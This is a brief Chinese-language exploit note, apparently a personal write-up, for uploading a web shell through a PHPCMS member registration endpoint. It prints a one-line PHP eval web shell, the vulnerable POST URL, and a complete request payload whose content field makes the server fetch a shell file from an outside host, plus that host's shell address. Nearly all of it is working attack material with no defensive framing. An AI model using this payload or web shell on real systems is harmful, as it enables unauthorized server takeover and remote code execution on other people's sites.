小结下:

菜刀马不能用get方式。开始一直失败~~~上传上去了,显示却是自己服务器的shell~~弄了好久终于好了~~


菜刀马:

<?php @eval($_POST["ximcx"])?>



POST地址:

http://网址/index.php?m=member&c=index&a=register&siteid=1


EXP:

siteid=1&modelid=1&username=test13&password=sinesafe9&email=test13@qq.com&info[content]=<img src=http://ximcx.cn/1.txt?.php#.jpg>&dosubmit=1&protocol=


Fire Fox提交如下:

TIM截图20180605153811.png


小马地址:

http://ximcx.cn/1.txt